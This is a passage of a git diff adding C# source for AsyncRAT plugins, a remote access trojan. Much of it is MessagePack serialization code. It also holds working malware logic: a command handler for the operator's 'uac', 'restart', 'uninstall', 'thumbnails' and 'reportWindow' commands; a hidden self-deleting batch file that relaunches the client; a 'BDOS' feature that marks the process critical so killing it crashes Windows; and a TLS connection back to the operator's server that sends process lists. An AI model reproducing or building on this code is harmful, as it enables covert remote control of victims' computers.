BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Methods.cs b/AsyncRAT-C#/Plugin/Options/Options/Methods.cs new file mode 100644 index 0000000..237f2b4 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Methods.cs @@ -0,0 +1,66 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Methods + { + public static void ClientExit() + { + try + { + if (Convert.ToBoolean(Plugin.BDOS) && IsAdmin()) + ProcessCriticalExit(); + CloseMutex(); + Connection.SslClient?.Close(); + Connection.TcpClient?.Close(); + } + catch { } + } + + public static bool IsAdmin() + { + return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + + public static void CloseMutex() + { + if (Plugin.AppMutex != null) + { + Plugin.AppMutex.Close(); + Plugin.AppMutex = null; + } + } + + public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) + { + if (Convert.ToBoolean(Plugin.BDOS) && Methods.IsAdmin()) + ProcessCriticalExit(); + } + + public static void ProcessCriticalExit() + { + try + { + RtlSetProcessIsCritical(0, 0, 0); + } + catch + { + while (true) + { + Thread.Sleep(100000); //prevents a BSOD on exit failure + } + } + } + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); + } +} diff --git a/AsyncRAT-C#/Plugin/Options/Options/Options.csproj b/AsyncRAT-C#/Plugin/Options/Options/Options.csproj new file mode 100644 index 0000000..2b71e55 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Options.csproj @@ -0,0 +1,62 @@ + + + + + Debug + AnyCPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF} + Library + Properties + Plugin + Options + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Packet.cs b/AsyncRAT-C#/Plugin/Options/Options/Packet.cs new file mode 100644 index 0000000..d8d51fd --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Packet.cs @@ -0,0 +1,114 @@ +using Plugin.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin +{ + public static class Packet + { + public static CancellationTokenSource ctsReportWindow; + public static CancellationTokenSource ctsThumbnails; + + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "uac": + { + new HandleUAC(); + Connection.Disconnected(); + break; + } + + case "close": + { + Methods.ClientExit(); + Environment.Exit(0); + break; + } + + case "restart": + { + Methods.ClientExit(); + string batch = Path.GetTempFileName() + ".bat"; + using (StreamWriter sw = new StreamWriter(batch)) + { + sw.WriteLine("@echo off"); + sw.WriteLine("timeout 3 > NUL"); + sw.WriteLine("START " + "\"" + "\" " + "\"" + Application.ExecutablePath + "\""); + sw.WriteLine("CD " + Path.GetTempPath()); + sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); + } + Process.Start(new ProcessStartInfo() + { + FileName = batch, + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + Environment.Exit(0); + break; + } + + case "uninstall": + { + new HandleUninstall(); + break; + } + + case "pcOptions": + { + new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString); + break; + } + + case "thumbnails": + { + new HandleThumbnails(); + break; + } + + case "thumbnailsStop": + { + ctsThumbnails?.Cancel(); + break; + } + + case "reportWindow": + { + new HandleReportWindow(unpack_msgpack); + break; + } + + + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs b/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs new file mode 100644 index 0000000..5bc9da7 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs @@ -0,0 +1,45 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + InstallFile = installFile; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Options/Options/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/Options/Options/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..dcfd11e --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("6aa4e392-aaaf-4408-b550-85863dd4baaf")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager.sln b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager.sln new file mode 100644 index 0000000..25dc354 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "ProcessManager\ProcessManager.csproj", "{D640C36B-2C66-449B-A145-EB98322A67C8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {C9F86219-B52B-4BDB-AE41-C0B5E74ADC63} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs new file mode 100644 index 0000000..97894b0 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient() + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + new HandleProcessManager().ProcessList(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void 